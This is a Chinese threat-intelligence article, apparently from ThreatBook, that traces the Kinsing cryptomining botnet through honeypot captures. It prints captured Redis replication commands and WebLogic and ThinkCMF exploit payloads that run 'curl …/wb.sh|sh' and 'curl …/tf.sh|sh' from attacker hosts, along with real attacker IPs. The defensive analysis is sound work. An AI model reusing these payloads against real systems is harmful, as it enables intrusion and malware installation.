僵尸网络团伙溯源之利用蜜罐数据

  • A+
所属分类:安全新闻

僵尸网络团伙溯源之利用蜜罐数据


1

前言

我们对于互联网中未知的世界总是充满好奇,就像是小时候仰望星空的孩子,想要了解满天星斗的意义,在互联网世界 IP 就像是天上的星星,背后也对应着一个个的个体。在日常状态下,我们是无法感知到整个互联网世界的攻击活动。我们可以利用现代化蜜罐技术,通过互联网空间中部署的多个可以感知互联网空间行为的点,感知互联网中自动化攻击的事件;通过长时间的对攻击事件的记录,使得我们可以根据积累的数据梳理出有特定关联的 IP 攻击团伙,发现未出现过的漏洞,最新出现的自动化攻击的木马,使得整个互联网中的攻击行为变得可视化。

蜜罐是互联网空间攻击行为的见证者,是网络安全世界的年轮,也是非常重要的威胁情报的提供者。
2

蜜罐能为我们提供什么样的威胁情报
通过在互联网外网空间中部署蜜罐程序,我们能够捕获到攻击者使用的攻击 IP,访问的目标端口与服务,识别出攻击者请求的数据包,对应利用的漏洞以及漏洞利用包中的木马下载地址。通过对木马的分析,我们可以标识出对应的僵尸网络团伙。

1. 攻击者ip情报;

2. 攻击的目标端口;

3. 攻击的目标服务;

4. 利用的漏洞情报;

5. 使用的木马下载地址情报;

6. 木马连接的C2主控端情报。
3

蜜罐产生的价值最大化
本篇的蜜罐是放置在公网,用来捕获攻击者的自动化攻击行为,为了尽可能多的捕获到攻击者的攻击数据,我们需要了解攻击者的攻击流程。
在网络空间攻击者的流程:

1. 判断目标端口是否开放;

2. 判断目标服务是否是想要攻击的服务;

3. 判断是不是有漏洞的版本或者直接进行攻击测试;

4. 判断攻击成功,如果成功下一步增加木马下载相关操作的 payload 进行攻击。

针对攻击者的攻击流程,蜜罐对应的措施:

1. 捕获全端口扫描行为记录,给端口扫描释放端口开放的信号;

2. 识别攻击者请求的协议,给予对应的协议数据响应;

3. 如果是 HTTP 协议,则根据 url 来给予对应应用的 Web 响应,如果 url 不存在,则给予一个通用页面的数据响应。
4

蜜罐采集的数据应用
使用蜜罐数据进行僵尸网络攻击活动追踪,首先我们通过公开的已知僵尸网络分析文章,根据文章中的关键信息利用蜜罐来进行数据分析,案例如下
Kinsing miner 是一个挖矿僵尸网络,主要利用 redis 空口令进行攻击,利用 redis 主从备份功能植入恶意 redis 插件 red2.so,然后下载挖矿远控木马kinsing 进行执行,执行成功后系统内部 sshkey 将木马传播到整个内部网络,同时会使用多种漏洞进行自动化传播该木马程序。默认早期版本木马在主机上释放文件:
/tmp/kdevtmpfsi/var/lib/redis/kinsing2/var/lib/redis/kinsing/var/lock/linux.lock

以下是蜜罐捕获到的 kinsing 僵尸网络利用数据包,以下数据表示攻击者使用95.214.11.231 的 IP 对目标端口 6379 的 redis 服务,进行了 redis 主从备份,会将 45.10.88.124 配置成主服务器,备份 red2.so 的可执行程序。

| 95.214.11.231 |     6379 | SLAVEOF | ['45.10.88.124', '8886']            |
| 95.214.11.231 |     6379 | CONFIG  | ['set', 'dbfilename', 'red2.so']  |
| 95.214.11.231 |     6379 | SLAVEOF | ['NO', 'ONE']                           | 

最早发现攻击时间为2019年12月14日,攻击者最早使用的 IP 为45.10.88.103 ,早期可以下载木马 45.10.88.103/kinsing,说明该 IP 大概率是攻击者的 IP,而不是失陷 IP:

僵尸网络团伙溯源之利用蜜罐数据

我们将每一个有 red2.so 相关关键字的请求的 IP 全部标记成 Kinsing_miners kinsing 僵尸网络。

通过提取攻击记录,我们发现木马下载的 IP 地址有8个,其中7个 8886 端口的都是 redis 主从备份的端口,http://188.119.112.132/wb.sh 则是攻击者的另外一种木马下载的途径。

| 45.10.88.124:8886   |

| 194.40.243.61:8886 |

| 194.40.243.61:8880 |

| 188.119.112.132:8886 |

| http://188.119.112.132/wb.sh |

| 45.137.155.55:8886   |

| 194.40.243.167:8886 |

| 92.242.40.225:8886   |

| 194.38.20.199:8886   |

根据另外一条木马下载地址,找到对应的攻击 IP,发现该 IP 使用多种 RCE 型漏洞传播该木马程序。

| 95.215.108.217 | /console/images/%252e%252e%252fconsole.portal | POST        | {'content-length': '1243', 'accept-encoding': 'gzip', 'cmd': 'curl http://188.119.112.132/wb.sh|sh', 'connection': 'close', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 'host': '106.75.71.81:80', 'content-type': 'application/x-www-form-urlencoded'} | {'_nfpb': ['true'], 'nObject obj ': [' field.get(adapter)'], 'nString[] cmds ': [' System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}'], 'handle': ['com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread()'], '_pageLabel': [''], 'njava.lang.reflect.Field field ': [' adapter.getClass().getDeclaredField("connectionHandler")'], 'n    weblogic.servlet.internal.ServletResponseImpl res ': [' (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req)'], 'nweblogic.work.WorkAdapter adapter ': [' executeThread.getCurrentWork()'], 'nweblogic.servlet.internal.ServletRequestImpl req ': [' (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj)'], 'nif (cmd !': [' null) {n    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next()'], 'nString cmd ': [' req.getHeader("cmd")']} | Java RCE |

通过该 IP 攻击记录,攻击者还使用了 45.10.88.12 的 80 端口,存放木马下载程序 tf.sh。

| 95.215.108.217 | /                             | GET         | {'host': '117.48.120.226:80', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 'connection': 'close', 'accept-encoding': 'gzip'}                                                                                                                                                            | {'a': ['fetch'], 'content': ['<php>die(shell_exec("curl 45.10.88.124/tf.sh|sh"))</php>']}                                                                                                                                                                                                                                                                                              | ThinkCMF Include File |

通过分析下载的 tf.sh,可以确定该 tf.sh 是 Kinsing miner 僵尸网络新的利用方式的变种木马下载地址,而不是其他僵尸网络程序。我们将请求包中含 /tf.sh 的 IP 标记成 Kinsing_miners 僵尸网络团伙控制的主机

僵尸网络团伙溯源之利用蜜罐数据
通过蜜罐数据统计该 Kingsing_miners 僵尸网络受感染规模,目前蜜罐的数据中检测到受感染的主机为1709台,受限于节点覆盖量,估算实际有上万台。
mysql> select count(*) from honeypot where trojan_familys="Kinsing_miners";

+----------+

| count(*) |

+----------+

|     1709 |

+----------+ 

统计 Kinsing_miner 僵尸网络传播过程使用过的漏洞类型。
1、ThinkCMF Include File
2、Weblogic RCE(CVE-2020-14882)
3、Java RCE
4、Docker Engine API RCE
5、Confluence RCE
6、Confluence RCE(CVE-2019-3396)
7、Docker remote api unauthorized

5

总结
Kinsing miner 僵尸网络现有受感染主机1709台以上(受限于蜜罐数据),使用常用应用 RCE 漏洞对互联网中机器进行攻击,主要使用 redis 空口令、Docker remote API 未授权、weblogic RCE。目前发现8台该攻击者使用的存放恶意木马的主机,木马的主要目的是挖矿获利。
提到利用蜜罐进行情报生产,在这里我跟大家推荐微步自家的蜜罐 HFish 。作为一款免费的社区型安全产品,HFish 对威胁情报的生产进行了诸多友好的设计,且产研团队十分注重跟社区的交流。您可以直接提出您对蜜罐产品的需求,研发团队将在第一时间响应。您可以通过访问 https://hfish.io 了解 HFish,也可以扫码加入 HFish 的用户群,交流更多的产品使用技巧。

僵尸网络团伙溯源之利用蜜罐数据


-我们在“HFish”等你呦-


- END -



关于微步在线研究响应团队

微步情报局,即微步在线研究响应团队,负责微步在线安全分析与安全服务业务,主要研究内容包括威胁情报自动化研发、高级 APT 组织&黑产研究与追踪、恶意代码与自动化分析技术、重大事件应急响应等。


微步情报局由精通木马分析与取证技术、Web 攻击技术、溯源技术、大数据、AI 等安全技术的资深专家组成,并通过自动化情报生产系统、云沙箱、黑客画像系统、威胁狩猎系统、追踪溯源系统、威胁感知系统、大数据关联知识图谱等自主研发的系统,对微步在线每天新增的百万级样本文件、千万级 URL、PDNS、Whois 数据进行实时的自动化分析、同源分析及大数据关联分析。微步情报局自设立以来,累计率先发现了包括数十个境外高级 APT 组织针对我国关键基础设施和金融、能源、政府、高科技等行业的定向攻击行动,协助数百家各个行业头部客户处置了肆虐全球的 WannaCry 勒索事件、BlackTech 定向攻击我国证券和高科技事件、海莲花长期定向攻击我国海事/高科技/金融的攻击活动、OldFox 定向攻击全国上百家手机行业相关企业的事件。



本文始发于微信公众号(微步在线研究响应中心):僵尸网络团伙溯源之利用蜜罐数据

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: